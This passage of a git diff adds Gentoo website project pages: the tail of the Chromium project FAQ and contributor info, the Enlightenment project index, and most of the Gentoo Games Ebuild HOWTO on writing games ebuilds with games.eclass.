+        you to choose the channel you want to be on (dev = hard masked,
+        beta = ~arch, stable = arch).</p>
+      </body>
+    </section>
+
+    <section>
+      <title>Aren't dev channel releases just weekly snapshots?</title>
+      <body>
+        <p>No, each release goes through QA first. It's not uncommon to delay
+        a release because of increased crashiness or other instability.</p>
+      </body>
+    </section>
+
+    <section>
+      <title>Where can I find more info about the releases?</title>
+      <body>
+        <p>You can also follow <uri link="http://googlechromereleases.blogspot.com/">
+        Google Chrome releases blog</uri>.</p>
+      </body>
+    </section>
+    
+    <section>
+      <title>Why my gecko-mediaplayer plugin doesn't get recognized?</title>
+      <body>
+        <p>It'd hang the browser, and is blacklisted upstream. See
+        <uri link="https://bugs.gentoo.org/309231">Gentoo bug #309231</uri> and
+        <uri link="http://code.google.com/p/chromium/issues/detail?id=24507">upstream bug</uri>.
+        You may want to "star" the upstream bug to give it more attention.
+        </p>
+      </body>
+    </section>
+
+    <section>
+      <title>
+        Where can I find more info about the upstream package, system
+        integration issues, etc?
+      </title>
+      <body>
+        <p>See <uri link="http://dev.chromium.org/developers/linux-technical-faq">
+        Linux technical FAQ</uri>.</p>
+      </body>
+    </section>
+  </extrachapter>
+
+  <extrachapter position="bottom">
+    <title>Useful bug queries</title>
+
+    <section>
+      <body>
+        <ul>
+          <li><uri link="https://bugs.gentoo.org/buglist.cgi?bug_status=UNCONFIRMED&amp;bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;emailassigned_to2=1&amp;emailreporter2=1&amp;emailcc2=1&amp;emailtype2=exact&amp;email2=security%40gentoo.org&amp;emailassigned_to1=1&amp;emailreporter1=1&amp;emailcc1=1&amp;emailtype1=exact&amp;email1=chromium%40gentoo.org&amp;order=Bug+Number">chromium security bugs</uri></li>
+          <li><uri link="https://bugs.gentoo.org/buglist.cgi?bug_status=UNCONFIRMED&amp;bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;emailassigned_to1=1&amp;emailreporter1=1&amp;emailcc1=1&amp;emailtype1=exact&amp;email1=chromium%40gentoo.org&amp;order=Bug+Number">chromium bugs</uri></li>
+          <li><uri link="https://bugs.gentoo.org/buglist.cgi?bug_status=UNCONFIRMED&amp;bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;emailassigned_to1=1&amp;emailreporter1=1&amp;emailcc1=1&amp;emailtype1=exact&amp;email1=chromium%40gentoo.org&amp;order=Bug+Number&amp;status_whiteboard_type=allwordssubstr&amp;status_whiteboard=ht-wanted">chromium bugs (Herd Testers' help wanted)</uri></li>
+          <li><uri link="http://code.google.com/p/chromium/issues/list?q=gentoo&amp;sort=-opened">chromium upstream bugs mentioning Gentoo</uri></li>
+        </ul>
+      </body>
+    </section>
+  </extrachapter>
+  
+  <extrachapter position="bottom">
+    <title>Herd Testers' corner</title>
+
+    <section>
+      <title>How to become a Herd Tester?</title>
+      <body>
+        <p>
+          You can just start contributing, see bug queries above, especially
+          the one for Herd Testers. Frequently project members ask for help
+          with reproducing issues, or testing fixes, or just
+          any helpful comments. Feel free to ask for more details
+          on the project mail alias, see <uri link="#JOBS">recruitment</uri>.
+        </p>
+        <p>
+          To formally become a Herd Tester you will be required to take
+          ebuild quizzes. Please note that you can still contribute a lot
+          without becoming a Herd Tester.
+        </p>
+      </body>
+    </section>
+
+    <section>
+      <title>What benefits do I get as a Herd Tester?</title>
+      <body>
+        <p>
+          First, you are helping your favorite distribution, which in itself
+          is quite an achievement. Second, you can get a special badge on the
+          Gentoo Forums, and more privileges on Gentoo Bugzilla.
+        </p>
+        <p>
+          Please note that Chromium in Gentoo project appreciates all
+          contributions and gives credit where credit is due. That means
+          if you have submitted a good bug report, a helpful comment,
+          or a patch, you can expect an entry in the package's ChangeLog.
+          If you contribute more, you can be listed as one of the contributors
+          on the project page. Becoming a Herd Tester is not necessary
+          to get recognized. However, if you are interested in becoming
+          a Gentoo Developer, Herd Testing is a good first step.
+        </p>
+      </body>
+    </section>
+  </extrachapter>
+
+  <dev role="lead">phajdan.jr</dev>
+  <dev role="member" description="arm arch liaison">armin76</dev>
+  <dev role="member">voyageur</dev>
+  <dev role="member">wired</dev>
+
+  <extrachapter position="devs">
+    <title>Developer notes</title>
+    <section>
+      <body>
+      	<note>Not all developers listed here are included in the
+        <c>chromium@g.o</c> e-mail alias.</note>
+      </body>
+    </section>
+  </extrachapter>
+
+  <herd name="chromium" />
+</project>
diff --git a/xml/htdocs/proj/en/desktop/enlightenment/index.xml b/xml/htdocs/proj/en/desktop/enlightenment/index.xml
new file mode 100644
index 00000000..4e335b89
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/enlightenment/index.xml
@@ -0,0 +1,49 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<project>
+  <name>Enlightenment</name>
+  <longname>Project Enlightenment</longname>
+  <date>2010-0725</date>
+  <description>Project Enlightenment maintains efl packages including e17</description>
+  <longdescription><p>
+    The Enlightenment project is intended for maintaining efl based package including e17</p>
+  </longdescription>
+  <!-- Developer Roles -->
+  <dev role="Lead">tommy</dev>
+  <dev role="member">vapier</dev>
+  <dev role="member">pva</dev>
+  <dev role="member">dagger</dev>
+
+  <herd name="enlightenment"/>
+
+  <!-- Chapter regarding mailing list & participation -->
+  <extrachapter>
+    <title>Resources</title>
+    <section>
+    <body>
+    <ul>
+      <li>Stop by on IRC at <uri link="irc://gentoo/gentoo-e">#gentoo-e</uri> on irc.gentoo.org.</li>
+<!-- page/link examples
+      <li>
+        <uri link="/doc/en/xfce-config.xml">Xfce Installation and Configuration
+        Guide</uri>
+      </li>
+      <li><uri link="foo.xml">Policy statements for the Xfce Project</uri></li>
+      <li><uri link="bar.xml">Migration Guide from version 4.2 to 4.4</uri></li>
+      <li><uri link="foo2.xml">FAQs</uri></li>
+      <li>
+        <uri link="bar2.xml">(Some kind of developers guide/how to help out/testing
+        howto)</uri>
+      </li>
+-->
+      <li>
+        Email the Enlightenment team at <mail link="enlightenment@gentoo.org">enlightenment@gentoo.org</mail>
+      </li>
+      <li>The Enlightenment <uri link="http://www.enlightenment.org">home page</uri></li>
+    </ul>
+  </body>
+  </section>
+  </extrachapter>
+</project>
diff --git a/xml/htdocs/proj/en/desktop/games/games-ebuild-howto.xml b/xml/htdocs/proj/en/desktop/games/games-ebuild-howto.xml
new file mode 100644
index 00000000..a6b2e12c
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/games/games-ebuild-howto.xml
@@ -0,0 +1,966 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/desktop/games/games-ebuild-howto.xml,v 1.18 2009/03/19 16:37:58 nyhm Exp $ -->
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="games-ebuild-howto.xml">
+<title>Gentoo Games Ebuild HOWTO</title>
+
+<author title="Author">
+  <mail link="egore@gmx.de">Christoph Brill</mail>
+</author>
+
+<author title="Author/Editor">
+  <mail link="wolf31o2@gentoo.org">Chris Gianelloni</mail>
+</author>
+
+<abstract>
+This guide outlines the best practices for creating ebuilds for games on Gentoo.
+</abstract>
+
+<license/>
+
+<version>1.13</version>
+<date>23 May 2007</date>
+
+<chapter>
+<title>Introduction</title>
+
+<section>
+<body>
+
+<p>
+This guide is intended to give an overview of how to write good games ebuilds.
+Writing games ebuilds using the best possible style allows for your submission
+to be added to Gentoo quickly and with no issues. There are several simple
+steps that you can follow to achieve this goal, starting from games ebuilds
+basics to some really nice tricks to work around the broken state of some
+upstream packages. This guide also tries to point out common mistakes made when
+contributing an ebuild.
+</p>
+
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+<title>Prerequisites</title>
+
+<section>
+<body>
+
+<p>
+First and foremost, this document will show you the proper way
+to write an ebuild, starting with the file naming and placement.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Installing vim</title>
+<body>
+
+<p>
+This ebuild guide recommends using "vim" for creating ebuilds.
+Together with "gentoo-syntax" you can create ebuilds quite simply.
+</p>
+
+<pre caption="Installing vim and gentoo-syntax">
+# emerge app-editors/vim app-vim/gentoo-syntax
+</pre>
+
+<p>
+Now vim will have proper syntax highlighting for ebuilds.  It
+also has a default template for ebuilds.  If you are unfamiliar
+with vim, I recommend reading the
+<uri link="http://www.gentoo.org/doc/en/vi-guide.xml">
+Learning vi</uri> guide to familiarize yourself with it.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Creating a games ebuild in your overlay</title>
+<body>
+
+<p>
+We are going to create a game ebuild in your portage overlay.
+The first thing you will need to do, is to decide which game you
+would like to write as an ebuild.  Next, you will want to decide
+which category your game best fits.
+</p>
+
+<ul>
+<li>games-action</li>
+<li>games-arcade</li>
+<li>games-board</li>
+<li>games-emulation</li>
+<li>games-engines</li>
+<li>games-fps</li>
+<li>games-kids</li>
+<li>games-misc</li>
+<li>games-mud</li>
+<li>games-puzzle</li>
+<li>games-roguelike</li>
+<li>games-rpg</li>
+<li>games-server</li>
+<li>games-simulation</li>
+<li>games-sports</li>
+<li>games-strategy</li>
+<li>games-util</li>
+</ul>
+
+<p>
+If, for example, your game is a soccer game named "kickball",
+you would create a directory in your local overlay like follows.
+</p>
+
+<pre caption="Creating your overlay directory">
+# mkdir -p /usr/local/portage/games-sports/kickball
+</pre>
+
+<p>
+If the package is a binary package, and does not support
+compilation, then append a "-bin" to the end of the package name
+to make up the portage package name.  If the package is a demo
+version of a commercial, or otherwise full-version game, please
+name the package with "-demo" appended to the end of the package
+name.  This is a requirement, and is a good idea.  Next, you will
+need to know the version number of the package.  It might be needed
+to convert this number into a format suitable to portage.  The
+ebuild naming policy can be found in the
+<uri link="http://www.gentoo.org/proj/en/devrel/handbook/handbook.xml?part=2">
+developer handbook</uri> online.  After deciding on the category
+and naming of your new ebuild, we will want to start editing on it.
+</p>
+
+<pre caption="Using vim to edit your ebuild">
+# cd /usr/local/portage/games-sports/kickball
+# vim kickball-1.0.ebuild
+</pre>
+
+<p>
+At this point, vim will populate out a skeleton ebuild for you.
+It should look like the following.
+</p>
+
+<pre caption="Skeleton ebuild example">
+# Copyright 1999-2007 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# Header: $
+
+DESCRIPTION=""
+HOMEPAGE=""
+SRC_URI=""
+
+LICENSE=""
+SLOT="0"
+KEYWORDS="~x86"
+IUSE=""
+
+DEPEND=""
+RDEPEND=""
+</pre>
+
+<p>
+This actually is a fully functional ebuild, but we will
+definitely need to do some more editing to get it in a usable
+state.
+</p>
+
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+<title>Writing the ebuild</title>
+
+<section>
+<body>
+
+<p>
+Writing the ebuild is the meat of this document.  We start by
+describing the elements above and add elements to our ebuild to
+create a fully working ebuild for our new game.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>inherit games</title>
+<body>
+
+<p>
+The first thing we will do is add <c>inherit games</c> to the
+ebuild.  The games team prefers this to be located between the
+header and the description lines, surrounded by a blank line.  This
+is where you inherit eclasses.  If you use a function from an
+eclass, you must inherit it.  Also, always list the games eclass
+last, unless using another games eclass to override the default
+games functionality.  More on this will be explained later.  The
+games eclass, which will be explained below, is full of functions
+common to all games ebuilds, and also sets up new defaults for
+certain ebuild functions, such as pkg_preinst, pkg_postinst,
+src_compile, and pkg_setup.  It also contains some variables that
+we will use across all games ebuilds, to maintain consistency.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>DESCRIPTION</title>
+<body>
+
+<p>
+This is the description of the package.  The description should
+be no more than a single line, and should give a quick overview of
+the game.  Try to make it descriptive, yet succinct.  A good
+example for our kickball game would be "a fast-paced SDL soccer
+game with network play".
+</p>
+
+<note>
+Please do not add something like "kickball is" to the
+beginning of the description.  It is redundant and unwanted by the
+games team.
+</note>
+
+</body>
+</section>
+
+<section>
+<title>HOMEPAGE</title>
+<body>
+
+<p>
+This is the location of this package's homepage.  This should
+always be linked to the English version of the page, if available.
+This should also <b>never</b> contain any variables.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>SRC_URI (and friends)</title>
+<body>
+
+<p>
+This is the first real interesting thing in our ebuild, and also
+the first place for potential problems.  Most upstream packagers
+use very strange names for their packages.  Let's say kickball
+uses sourceforge.net's distribution system.  The file is named
+"kick-ball-src-v1.0.tar.gz".  As you can see, this does not fit
+the package name in portage.  There are a few portage variables
+which can be used here.  The two that I will be discussing are ${P}
+and ${PV}, which refer to the package name and version, and
+package version, respectively.  If you need to make changes to
+these, it is recommended to use MY_P or MY_PV, as needed.  Proper
+games team coding style places these variables above DESCRIPTION,
+but in the same block.  In this example, we are going to set MY_P
+to "kick-ball-src" and MY_PV to "v${PV}".  We want to use the ${PV}
+variable within MY_PV so that future upgrades are easier.
+</p>
+
+<note>
+Never hard-code package versions within an ebuild unless
+there is absolutely no other choice.
+</note>
+
+<p>
+This makes our SRC_URI look like the following.
+</p>
+
+<pre caption="SRC_URI example 1">
+SRC_URI="mirror://sourceforge/${PN}/${MY_P}-${MY_PV}.tar.bz2"
+</pre>
+
+<p>
+This would cause portage to search the sourceforge mirrors for
+kickball/kick-ball-src-v1.0.tar.bz2, which is exactly what we are
+looking to find.  If the package sources are named to match the
+package, then the SRC_URI line is much simpler.
+</p>
+
+<pre caption="SRC_URI example 2">
+SRC_URI="mirror://sourceforge/${PN}/${P}.tar.bz2"
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>LICENSE</title>
+<body>
+
+<p>
+The license is an important point in your ebuild.  It is also a
+common place for making mistakes.  Try to check the license on any
+ebuild that you submit.  Often times, the license will be in a
+COPYING file, distributed in the package's tarball.  If the license
+is not readily apparent, try contacting the authors of the package
+for clarification.  For a list of available licenses, look in
+<c>/usr/portage/licenses</c>.  Also, if the license requires the
+user to accept the license before installation, then you will need
+to set GAMES_CHECK_LICENSE="yes" in your ebuild.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>SLOT</title>
+<body>
+
+<p>
+Leave SLOT="0" unless you know what you are doing.  The slot is
+designed to allow two different version packages, that are not
+compatible and not conflicting, to exist on the system
+simultaneously.  A good example of this is gtk+ 1.x and gtk+ 2.x
+packages.  So far, there have been no games where this is the case,
+so most likely you will never need to change this.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>KEYWORDS</title>
+<body>
+
+<p>
+This should state the architectures on which you have tested the
+game.  Since every package should start in a testing state, prefix
+all architectures with a "~" to show this state.  Also, do not list
+any architecture which you cannot personally test.  If you are
+writing the ebuild on x86, then the KEYWORDS would be "~x86".
+</p>
+
+</body>
+</section>
+
+<section>
+<title>IUSE</title>
+<body>
+
+<p>
+Does this package have additional features that can be toggled
+on and off?  IUSE lists all the USE flags that this package is
+capable of using.  Do not list any USE flags here which are not
+used by the package, and also, do not forget to list any USE flags
+here that you use within the package ebuild.  For the meaning of
+each global USE flag, please check
+<c>/usr/portage/profiles/use.desc</c> and
+<c>/usr/portage/profiles/use.local.desc</c> for more information.
+A local USE flag is used for any additional feature that does not
+fall under the scope of the already-defined global USE flags.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>DEPEND</title>
+<body>
+
+<p>
+This variable is used to build the dependency tree for packages
+that are required to build this package.  You should list all
+packages that are used not only by the game build itself, but also
+in the ebuild, so if you use "unzip" in your ebuild, you must also
+add it to DEPEND.  These packages are only used at build time.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>RDEPEND</title>
+<body>
+
+<p>
+This variable is used for run-time dependencies.  If left
+undefined, portage assumes RDEPEND to be equal to DEPEND.  These
+are dependencies required by the package to run.  If you have
+packages listed here, you should also refer to this in DEPEND as
+follows, otherwise, remove RDEPEND completely.
+</p>
+
+<pre caption="DEPEND with RDEPEND example">
+RDEPEND="virtual/opengl"
+DEPEND="${RDEPEND}
+app-arch/unzip"
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>S and upstream packaging</title>
+<body>
+
+<p>
+The S variable is used to store the starting location that the
+ebuild should use for performing work.  By default, this is
+S=${WORKDIR}/${P}.  If the upstream packager did not use a
+subdirectory when packing their package, which is common with zip
+file distribution, then you would set S as follows.
+</p>
+
+<pre caption="S with no subdirectory example">
+S=${WORKDIR}
+</pre>
+
+<p>
+If the upstream packager did not include a version number, but did
+use the package name, then S would be set as follows.
+</p>
+
+<pre caption="S with no version example">
+S=${WORKDIR}/${PN}
+</pre>
+
+<p>
+If you do not need special handling, leave S= out of the ebuild.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>src_unpack</title>
+<body>
+
+<p>
+The default src_unpack from portage tends to be all you need for
+most ebuilds.  This function is used to unpack the sources for a
+particular package.  A few examples of when you would want a
+src_unpack function are below.
+</p>
+
+<pre caption="Makeself archive example">
+src_unpack() {
+unpack_makeself
+}
+</pre>
+
+<p>
+By default, both unpack and unpack_makeself use ${A} as the target
+to unpack.  You can also specify the target, if you need to only
+unpack a single download, rather than them all.  A good example of
+this comes from the ut2003 ebuild.
+</p>
+
+<pre caption="unpack and unpack_makeself example">
+src_unpack() {
+unpack_makeself linux_installer.sh
+unpack UT2003CrashFix.zip
+}
+</pre>
+
+<p>
+As you can see, each function specifically calls a certain file to
+be unpacked.  If you need additional steps before compilation, such
+as making changes to a Makefile, then you will need add it into a
+src_unpack function.  Now, in this final example, let's pretend
+that our fictional package, kickball, has both a broken Makefile,
+and also a binary that must be removed for compilation to complete.
+</p>
+
+<pre caption="kickball src_unpack example">
+src_unpack() {
+unpack ${A}
+cd "${S}"
+sed -i \
+-e "/TARGET/s:/usr/bin/:${GAMES_BINDIR}:" Makefile \
+|| die "sed Makefile failed"
+rm -f kickball
+}
+</pre>
+
+<p>
+This function shows us several important things that we need to
+know about games ebuilds.  First, when making your own src_unpack,
+you must always include your own unpacking methods, or use the
+built-in functions.  Next, you see that we cd to our unpacked
+location, ${S}, which must be quoted.
+</p>
+
+<p>
+Now, imagine a line like "TARGET=/usr/bin/" in the game's Makefile.
+This is wrong for Gentoo, since by default games binaries go into
+"/usr/games/bin", which is defined by "${GAMES_BINDIR}" in
+games.eclass.  Always use the variable to refer to the games binary
+location, as this allows users to specify for themselves where they
+want the games to install their binaries by overriding this
+variable.  There are several other games-specific variables
+available for you to use, which will be explained further in the
+document.
+</p>
+
+<p>
+You will also notice that we have added "|| die" after each
+required external command.  This is necessary, since it stops the
+emerge process if that command failed.  Never omit these as all
+important external commands need it.  All die messages should be
+short and to the point.  Good examples are above.  There is no die
+after unpack, as it does its own checking and aborts the emerge
+process on its own.
+</p>
+
+<p>
+We did not add a die after the rm above.  The reason for this is
+the presence of kickball will cause the build to fail, but the lack
+of the file will not hurt us in any way.  Remove only items that
+stop the ebuild from working when present.  If there are, for
+example, Makefiles for 25 different systems, just ignore them.
+They will not be installed unless we specifically ask for them to
+be during src_install, and they will be deleted by portage at
+the end of the completed emerge.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>src_compile</title>
+<body>
+
+<p>
+This function is where both the configuration and compilation
+steps take place.  By default, this function is slightly different
+for games ebuilds than for non-games ebuilds.  The default function
+looks as follows.
+</p>
+
+<pre caption="Default src_compile for games.eclass">
+src_compile() {
+egamesconf || die "egamesconf failed"
+emake || die "emake failed"
+}
+</pre>
+
+<p>
+As you can see, we use the egamesconf function, rather than econf.
+The egamesconf function is a wrapper function that runs
+"./configure" with the proper paths for a Gentoo games ebuild.
+</p>
+
+<p>
+We use emake instead of make.  This is standard for all Gentoo
+ebuilds where make is called.
+</p>
+
+<p>
+Since both of these commands are essential for our source-based
+game, we use "|| die" with a proper die message in our ebuild.
+This causes the emerge to stop if one either of these steps fails.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>src_install</title>
+<body>
+
+<p>
+After completing the compilation of the game, we need to actually
+install it.
+</p>
+
+<pre caption="Example src_install">
+src_install() {
+dogamesbin ${PN} || die "dogamesbin failed"
+
+insinto "${GAMES_DATADIR}"/${PN}
+doins -r data/* || die "doins failed"
+dodoc README manual.pdf
+
+# optional
+doicon ${PN}.xpm
+make_desktop_entry ${PN} KickBall ${PN}.xpm
+
+prepgamesdirs
+}
+</pre>
+
+<p>
+This is a complete src_install for our fictional kickball package.
+As you can see, it contains a few functions that are specific to
+the games.eclass, which I will discuss fully below.
+</p>
+
+<p>
+First, we have dogamesbin, which works like dobin, except that it
+puts the binaries into "${GAMES_BINDIR}".  This allows for user
+customized binary directories, without the user needing to edit
+the ebuild directly.
+</p>
+
+<p>
+Next, we tell the ebuild to use "${GAMES_DATADIR}/${PN}" as the
+default location for our doins calls.  We follow this up with a
+"doins -r" to install the data.  Again, we use the variables to
+allow users to modify these locations without editing the ebuild.
+</p>
+
+<p>Now, we install the documentation that ships with the package.
+You should always install documentation for the package.  In some
+cases there will be some optional documentation, such as a
+walk-thru.  For these, you wrap them behind a conditional on the
+doc USE flag and add doc to IUSE.  Never install any COPYING or
+INSTALL files, as this information is redundant for portage.
+</p>
+
+<p>
+We also use two optional commands.  The first, doicon, is from the
+eutils.eclass.  This eclass is inherited by the games.eclass, but
+if you use functions from it, it is advised to inherit the eclass
+yourself.  Remember that the eclass goes <b>before</b> games.eclass
+on the inherit line.  As you can guess, doicon installs an icon
+file into <c>/usr/share/pixmaps</c>.
+</p>
+
+<p>
+Next is make_desktop_entry, also from eutils.eclass.  This function
+creates a freedesktop.org-compliant .desktop entry for this
+package, which gives it a menu item in the GNOME or KDE menus, or
+in the menu of any other freedesktop.org-compliant window manager.
+</p>
+
+<p>
+The last function is not optional.  We use prepgamesdirs last in
+our src_install function, as it goes through the directories and
+files that are to be installed and sets proper permissions and
+ownership on them.  The owner is set to root, with the group being
+set to "${GAMES_GROUP}".
+</p>
+
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+<title>The games.eclass</title>
+
+<section>
+<body>
+
+<p>
+The games eclasses are designed to fill any needs for writing an
+ebuild for a game on Gentoo.  There are separate eclasses for some
+of the more commonly modified titles.  These eclasses will be
+discussed further later.  For now, we are going to focus on
+games.eclass.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Variables</title>
+<body>
+
+<p>
+The games.eclass provides many variables that control all aspects
+of a games ebuild.  Below is a listing of the variables provided by
+the eclass, their defaults, and a description of each.
+</p>
+
+<table>
+<tr>
+<th>Variable</th>
+<th>Default</th>
+<th>Description</th>
+</tr>
+<tr>
+<ti>GAMES_PREFIX</ti>
+<ti>/usr/games</ti>
+<ti>This is the prefix into which games are installed</ti>
+</tr>
+<tr>
+<ti>GAMES_PREFIX_OPT</ti>
+<ti>/opt</ti>
+<ti>This is the prefix into which binary games are installed</ti>
+</tr>
+<tr>
+<ti>GAMES_DATADIR</ti>
+<ti>/usr/share/games</ti>
+<ti>This is the location into which games should installi
+their data</ti>
+</tr>
+<tr>
+<ti>GAMES_DATADIR_BASE</ti>
+<ti>/usr/share</ti>
+<ti>This is the same as ${GAMES_DATADIR}, but some packages
+append "games" to the directory</ti>
+</tr>
+<tr>
+<ti>GAMES_SYSCONFDIR</ti>
+<ti>/etc/games</ti>
+<ti>This is a global configuration directory for games</ti>
+</tr>
+<tr>
+<ti>GAMES_STATEDIR</ti>
+<ti>/var/games</ti>
+<ti>This location is where games store writable state data,
+such as score files</ti>
+</tr>
+<tr>
+<ti>GAMES_LOGDIR</ti>
+<ti>/var/log/games</ti>
+<ti>This is the default location for log files, such as
+that created by a dedicated server</ti>
+</tr>
+<tr>
+<ti>GAMES_LIBDIR</ti>
+<ti>NULL</ti>
+<ti>This variable should not be used in any ebuilds but can
+be set by the user to override the games_get_libdir function
+</ti>
+</tr>
+<tr>
+<ti>GAMES_BINDIR</ti>
+<ti>/usr/games/bin</ti>
+<ti>Location used by dogamesbin</ti>
+</tr>
+<tr>
+<ti>GAMES_ENVD</ti>
+<ti>90games</ti>
+<ti>File that holds environment settings for games, such as
+the binary path</ti>
+</tr>
+<tr>
+<ti>GAMES_USER</ti>
+<ti>root</ti>
+<ti>Default owner for games files</ti>
+</tr>
+<tr>
+<ti>GAMES_USER_DED</ti>
+<ti>games</ti>
+<ti>Default user for dedicated servers</ti>
+</tr>
+<tr>
+<ti>GAMES_GROUP</ti>
+<ti>games</ti>
+<ti>Group which owns all games and group in which game
+players should be members</ti>
+</tr>
+<tr>
+<ti>GAMES_CHECK_LICENSE</ti>
+<ti>NULL</ti>
+<ti>This should be used if you need to have the user accept
+the ebuild's license before installation.  If you require
+this, set GAMES_CHECK_LICENSE="yes" in your ebuild before
+calling games_pkg_setup and be sure that games_pkg_setup
+is called before any other actions take place in your
+pkg_setup function.</ti>
+</tr>
+</table>
+
+<p>
+One thing you need to be aware of when creating a games ebuild is
+that we do not allow games to write to /usr, so any game that does
+so will need to be patched to write to ${GAMES_STATEDIR} or
+${HOME} instead.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Functions</title>
+<body>
+
+<p>
+There are many functions within the games.eclass for you to use.
+Some of them are convenience functions, and some of them are an
+absolute requirement.
+</p>
+
+<table>
+<tr>
+<th>Function</th>
+<th>Description</th>
+</tr>
+<tr>
+<ti>games_get_libdir</ti>
+<ti>This function prints the architecture-specific location
+into which games ebuilds should install libraries.</ti>
+</tr>
+<tr>
+<ti>egamesconf</ti>
+<ti>As we discussed before, egamesconf is used to configure
+your package for proper paths on Gentoo.  If your package
+requires a "./configure" step, then egamesconf is a
+requirement.</ti>
+</tr>
+<tr>
+<ti>gameswrapper</ti>
+<ti>The gameswrapper function is an internal function for
+the games.eclass and should never be used in your ebuild.
+Its purpose is to modify the default locations for
+installation of normal Gentoo ebuild functions.  The
+following few functions are all wrapped with gameswrapper.</ti>
+</tr>
+<tr>
+<ti>dogamesbin</ti>
+<ti>This is our first function using gameswrapper.  This
+function performs the same actions as dobin, but is wrapped
+to install into ${GAMES_BINDIR} instead of the default of
+/usr/bin.</ti>
+</tr>
+<tr>
+<ti>dogamessbin</ti>
+<ti>This funtion wraps the dosbin function, and is used for
+adding files to ${GAMES_PREFIX}/sbin.  This function is not
+very common, as most games expect anyone in the games
+group to be able to use all of its functions.</ti>
+</tr>
+<tr>
+<ti>dogameslib</ti>
+<ti>This function wraps the dolib function.  It is used for
+installing libraries into the proper directory.  Be aware that
+this function installs the libraries into directories
+based on $(get_libdir).  This means the default location
+on AMD64 would be /usr/games/lib64, rather than the
+expected /usr/games/lib.</ti>
+</tr>
+<tr>
+<ti>dogameslib.a</ti>
+<ti>This function wraps dolib.a and like dogameslib, it
+installs into the architecture-specific default location.</ti>
+</tr>
+<tr>
+<ti>dogameslib.so</ti>
+<ti>This function wraps dolib.so and like dogameslib, it
+installs into the architecture-specific default location.</ti>
+</tr>
+<tr>
+<ti>newgamesbin</ti>
+<ti>This function works the same as dogamesbin, except it
+gives you the opportunity to rename the binary.  This is
+useful for wrapper scripts, where storing the script in
+portage requires a different name to differentiate it from
+other files in ${FILESDIR}.</ti>
+</tr>
+<tr>
+<ti>newgamessbin</ti>
+<ti>This function works the same as dogamessbin, except it
+gives you the opportunity to rename the binary.  This is
+useful for wrapper scripts, where storing the script in
+portage requires a different name to differentiate it from
+other files in ${FILESDIR}.</ti>
+</tr>
+<tr>
+<ti>games_make_wrapper</ti>
+<ti>This is our last function that employs gameswrapper.
+This function is used for creating a wrapper in
+${GAMES_BINDIR} that points to your actual game binary.
+This is mostly used for binary games that are installed
+into ${GAMES_PREFIX_OPT}.  You should avoid using a wrapper
+whenever possible.  It is best to patch the sources
+to resolve any issues, instead.</ti>
+</tr>
+<tr>
+<ti>gamesowners</ti>
+<ti>This function is used internally by prepgamesdirs to
+setup the owner of the files installed by the ebuild to
+${GAMES_USER}:${GAMES_GROUP}.  You should never call this
+function yourself.</ti>
+</tr>
+<tr>
+<ti>gamesperms</ti>
+<ti>This function does not appear to be used.</ti>
+</tr>
+<tr>
+<ti>prepgamesdirs</ti>
+<ti>This function is used to ensure that all files
+installed by games ebuilds have the proper permissions.
+This function should be called last in src_install, as it
+potentially touches every file and directory installed by
+the ebuild.  The purpose of this function is to ensure that
+the files and directories are writable by ${GAMES_USER},
+readable by ${GAMES_GROUP}, and not readable or executable
+by anyone else.</ti>
+</tr>
+<tr>
+<ti>gamesenv</ti>
+<ti>This function sets up the default PATH and LDPATH for
+games ebuilds.  It is called automatically by the
+games_pkg_postinst function and should not be run
+manually.</ti>
+</tr>
+<tr>
+<ti>games_pkg_setup</ti>
+<ti>This is the default games.eclass pkg_setup function.
+It does several things to ensure that games will run
+correctly under Gentoo.  First, it runs enewgroup to
+create the ${GAMES_GROUP} group and enewuser to create
+the ${GAMES_USER} and ${GAMES_USER_DED} users.  If
+${GAMES_CHECK_LICENSE} is defined, it will ask the
+user to accept the package's license via check_license.
+If your ebuild requires its own pkg_setup function, then
+be sure to call this function from within yours.</ti>
+</tr>
+<tr>
+<ti>games_src_compile</ti>
+<ti>This is the default games.eclass src_compile function.
+It is actually quite simple as it only runs the following
+commands.  First, it checks if configure is executable,
+then it runs egamesconf.  Then, if checks for the existence
+of a Makefile, and runs emake.</ti>
+</tr>
+<tr>
+<ti>games_pkg_preinst</ti>
+<ti>This is the default games.eclass pkg_preinst function.
+It is used to copy files from ${GAMES_STATEDIR} to the
+temporary location used by portage prior to merging.  This
+ensures that any state information files are not unmerged
+with the old package during an upgrade.  If your ebuild
+requires its own pkg_preinst function, then be sure to call
+this function from within yours.</ti>
+</tr>
+<tr>
+<ti>games_pkg_postinst</ti>
+<ti>This is the default games.eclass pkg_postinst function.
+First, it runs gamesenv to setup the environment.  This is
+also the function that warns the user about the games group
+requirement for playing games on Gentoo.</ti>
+</tr>
+<tr>
